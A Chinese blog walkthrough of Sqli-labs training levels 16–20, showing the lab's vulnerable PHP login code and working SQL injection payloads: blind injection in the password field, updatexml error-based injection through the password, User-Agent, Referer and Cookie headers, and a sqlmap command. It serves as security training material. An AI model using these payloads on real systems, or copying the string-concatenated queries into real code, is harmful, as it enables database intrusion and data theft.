Sqli-labs通关笔记(Less-16~20)[基础篇完结!]

Basic Challenges(Less-16~20)[完结!]

前言

慢慢来,就很快,第一部分:基础挑战正式完结(完结撒花)!!
下一周,将进行高级部分的更新,敬请期待!
有问题欢迎留言或私信提问,有不足之处希望大家能够指出,大家共同进步!

本文格式

### Less-
**黑盒分析:**
**源代码相关部分:**
**代码分析:**
**脚本或工具的使用:**
**payload:**

Less-16

黑盒分析:
已知正确登录的账号密码是admin:admin,登录成功与否在页面上几乎没有区别,唯一的不同是页面有个img标签的src属性不同,这种情况下使用sqlmap我不知道怎么用,于是先手动测试注入点,

基本测试如下:
账号输入admin密码输入admin'#错误
账号输入admin密码输入admin"#错误
账号输入admin密码输入admin)#错误
账号输入admin密码输入admin')#错误
账号输入admin密码输入admin")#正确

可以判断注入点在admin")后面
然后通过脚本来进行盲注即可得到数据

源代码相关部分:

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];

    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."\n");
    fwrite($fp,'Password:'.$passwd."\n");
    fclose($fp);


    // connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {
        //echo '';   
        
        echo "
"; echo ''; //echo " You Have successfully logged in " ; echo ''; echo "
"; //echo 'Your Login name:'. $row['username']; echo "
"; //echo 'Your Password:' .$row['password']; echo "
"; echo "
"; echo "
"; echo "
"; echo ''; echo "
"; } else { echo ''; echo "
"; echo "
"; //echo "Try again looser"; //print_r(mysql_error()); echo "
"; echo "
"; echo "
"; echo ''; echo "
"; } } ?>

代码分析:
sql语句通过拼接代入数据库查询,变量由")包裹,只需要闭合双引号和括号即可实现SQL注入
脚本或工具的使用:
脚本类似上篇文章的Less-15,只需要修改一下payload的符号即可
payload:
") or length(database())>1#


Less-17

黑盒分析:
本关卡
当用户名输入错误的时候显示如下

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第1张图片
17-1.png
只要账号正确,无论输入什么都会显示这个页面,如下
Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第2张图片
17-2.png
这是一个[PASSWORD RESET]页面,此处服务器使用的SQL语句应该不是 SELECT语句,而是 UPDATE语句,一番百度过后,了解到,对于这种注入点,可以使用报错注入来实现获取数据,所以先尝试看是否会报错。 (文末总结几种常见的集中SQL语句形式)
UPDATE语句一般长这样:
UPDATE users SET password='Nicky' WHERE id=2 and username='Olivia';

如果输入的密码有'"SQL语句会出现语法错误,于是进行如下尝试:
输入用户名admin和密码admin正常
输入用户名admin和密码'admin'报错

此处存在报错注入!

所以构造报错语句updatexml()代入进行尝试
输入用户名admin和密码admin' updatexml(1,concat(0x7e,(version()),0x7e),1) or '
效果如下:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第3张图片
17-3.png

所以此处存在报错注入,可以通过报错注入得到数据
源代码相关部分:

if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
        //echo '';   
        $row1 = $row['username'];   
        //echo 'Your Login name:'. $row1;
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);
        echo "
"; if (mysql_error()) { echo ''; print_r(mysql_error()); echo "

"; echo "
"; } else { echo ''; //echo " You password has been successfully updated " ; echo "
"; echo "
"; } echo ''; //echo 'Your Password:' .$row['password']; echo "
"; } else { echo ''; //echo "Bug off you Silly Dumb hacker"; echo "
"; echo ''; echo "
"; } }

代码分析:
本关构造了两次SQL语句,第一次构造查询语句
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
这个查询语句使用了错误抑制符,不会报错,查询成功与否显示完全相同
查询用户名是否存在,如果存在,则会执行第二个SQL语句:
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
这个UPDATE语句中,password是我们可控的内容
再加上后面

if (mysql_error()){
    echo '';
    print_r(mysql_error());
    echo "

"; echo "
"; }

如果报错,则回显示错误,此处可以通过构造报错语句实现报错注入
脚本或工具的使用:
sqlmap -u "http://localhost/Less-17/" --forms
--forms:测试表单

sqlmap会提示输入表单默认内容,表单内容输入为
uname=admin&passwd=admin&submit=Submit
即可

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第4张图片
17-4.png

payload:
admin' updatexml(1,concat(0x7e,(version()),0x7e),1) or '


Less-18

黑盒分析:
登录成功页面:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第5张图片
18-2.png

登录失败页面:
![18-1.png]( https://upload-images.jianshu.io/upload_images/17216675-621aa6f1221c6f33.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/124
登录成功显示我的 User Agent,失败则不显示
这是登录页面,登录使用的应该是 SELECT语句
登录成功就会返回 User Agent,此处可能存在网站会把 User Agent信息插入到数据库里的过程,可能有 INSERT语句被使用
修改一下 User Agent去测试一下看有没有报错点:
用户名密码填写admin不变,通过Burp截断代理修改 User Agent的值
为了方便看,我将 User Agent的值改为了 Mozilla/5.0
接下来改为 'Mozilla/5.0'进行测试,效果如下:
Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第6张图片
18-3.png

此处报错了!!
接下来构造报错语句 or updatexml(1,concat(0x7e,(version()),0x7e),1) or进行测试,修改 User Agent如下:
Mozilla/5.0'or updatexml(1,concat(0x7e,(version()),0x7e),1) or '
效果如下:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第7张图片
18-4.png

成功报错注入!
源代码相关部分:

if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Agent:'.$uname."\n");
    
    fclose($fp);
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);
            //echo 'Your IP ADDRESS is: ' .$IP;
            echo "";
            //echo "
"; echo ''; echo 'Your User Agent is: ' .$uagent; echo ""; echo "
"; print_r(mysql_error()); echo "

"; echo ''; echo "
"; } else { echo ''; //echo "Try again looser"; print_r(mysql_error()); echo "
"; echo "
"; echo ''; echo "
"; } }

代码分析:
通过POST获取账号密码,进行SELECT查询,如果查询到结果了,就将User Agent插入到数据库里
第一个查询语句可能存在时间盲注
第二个插入语句存在报错注入
payload:
Mozilla/5.0'or updatexml(1,concat(0x7e,(version()),0x7e),1) or '


Less-19

黑盒分析:
登陆成功页面:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第8张图片
19-1.png

登录失败页面:
Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第9张图片
18-1.png

此关与上一关卡很像啊有木有!!!
按照上一关的思路试一哈~
http头的Referer会被存到数据库里,所以构造Referer:如下
Referer: abc' or updatexml(1,concat(0x7e,(version()),0x7e),1) or '
得到结果如下:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第10张图片
19-2.png

此处存在报错注入!
源代码相关部分:

if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $fp=fopen('result.txt','a');
    fwrite($fp,'Referer:'.$uname."\n");
    
    fclose($fp);
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '';
            $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
            mysql_query($insert);
            //echo 'Your IP ADDRESS is: ' .$IP;
            echo "";
            //echo "
"; echo ''; echo 'Your Referer is: ' .$uagent; echo ""; echo "
"; print_r(mysql_error()); echo "

"; echo ''; echo "
"; } else { echo ''; //echo "Try again looser"; print_r(mysql_error()); echo "
"; echo "
"; echo ''; echo "
"; } }

代码分析:
本关卡与上一关一样,先通过SELECT语句登录
如果登陆成功,则插入Referer到数据库里,
插入报错则回显,所以
可以在INSERT语句中构造语句进行报错注入
payload:
Referer: abc' or updatexml(1,concat(0x7e,(version()),0x7e),1) or '


Less-20

黑盒分析:
登录成功页面:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第11张图片
20-1.png

点击Delete Your Cookie!按钮,会返回登录页面
登录失败页面:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第12张图片
20-2.png

登录成功,返回了我的IP,User Agent,COOKIE,Username,Password信息
登录会请求一个cookie,cookie有有效期

通过Burp截断发现,登录成功先会返回一个界面:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第13张图片
20-3.png

然后跳转到前面登录成功的页面,
页面上有一句 I LOVE YOU COOKIES,这应该是个提示,注入点可能在cookie处,所以先进行cookie注入测试:
初步判断这可能是在登录成功后获取到了cookie,跳转到登陆成功页面后,会从数据库查询cookie的值

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第14张图片
20-4.png

报错了,此处存在报错注入,尝试如下构造代码:
Cookie: uname=admin' or updatexml(1,concat(0x7e,version(),0x7e),1)#;
效果如下:

Sqli-labs通关笔记(Less-16~20)[基础篇完结!]_第15张图片
20-5.png

此处存在报错注入!
源代码相关部分:

if(isset($_POST['uname']) && isset($_POST['passwd']))
        {   
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);
            
        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
        $cookee = $row1['username'];
            if($row1)
                {
                echo '';
                setcookie('uname', $cookee, time()+3600);   
                header ('Location: index.php');
                echo "I LOVE YOU COOKIES";
                echo "";
                echo '';          
                //echo 'Your Cookie is: ' .$cookee;
                echo "";
                echo "
"; print_r(mysql_error()); echo "

"; echo ''; echo "
"; } else { echo ''; //echo "Try again looser"; print_r(mysql_error()); echo "
"; echo "
"; echo ''; echo "
"; } } echo "
"; echo ''; echo '
'; } else { if(!isset($_POST['submit'])) { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "
"; echo '


'; echo ''; echo "

"; echo '
'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "
"; echo ''; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "
"; echo ''; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
"; echo ''; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); echo "
"; $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo ''; echo 'Your Login name:'. $row['username']; echo "
"; echo ''; echo 'Your Password:' .$row['password']; echo "
"; echo "
"; echo 'Your ID:' .$row['id']; } else { echo "
"; echo '


'; echo ''; echo "

"; //echo ''; } echo '
'; echo '
'; echo ''; echo '
'; echo '
'; } else { echo '
'; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo ''; echo " Your Cookie is deleted"; setcookie('uname', $row1['username'], time()-3600); header ('Location: index.php'); echo '

'; } echo "
"; echo "
"; //header ('Location: main.php'); echo "
"; echo "
"; $fp=fopen('result.txt','a'); fwrite($fp,'Cookie:'.$cookee."\n"); fclose($fp); }

代码分析:
判断是否填写了账号密码,填写了就代入到数据库查询输入是否正确,正确则会设置一个cookie,cookie的内容就是账号,错误则显示错误页面,有了cookie,会进行一次查询:
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
查询错误会回显报错,在这次通过cookie进行查询的步骤中,我们可以进行报错注入来获取数据
payload:
Cookie: uname=admin' or updatexml(1,concat(0x7e,version(),0x7e),1)#;

总结常见的SQL语句形式
SELECT语句:SELECT username from users where id=1 limit 0,1
UPDATA语句:UPDATE users SET password='admin'WHERE id=2 and username='admin';
INSERT语句:INSERT INTO users (id, username, password) VALUES (2,'admin123', '123456');
DELETE语句:DELETE FROM users WHERE id=1 ;

最后,欢迎大家关注我的私人订阅号,会不定期更新各种靶场攻略,挖洞、渗透经验分享等

订阅号.jpg

你可能感兴趣的:(Sqli-labs通关笔记(Less-16~20)[基础篇完结!])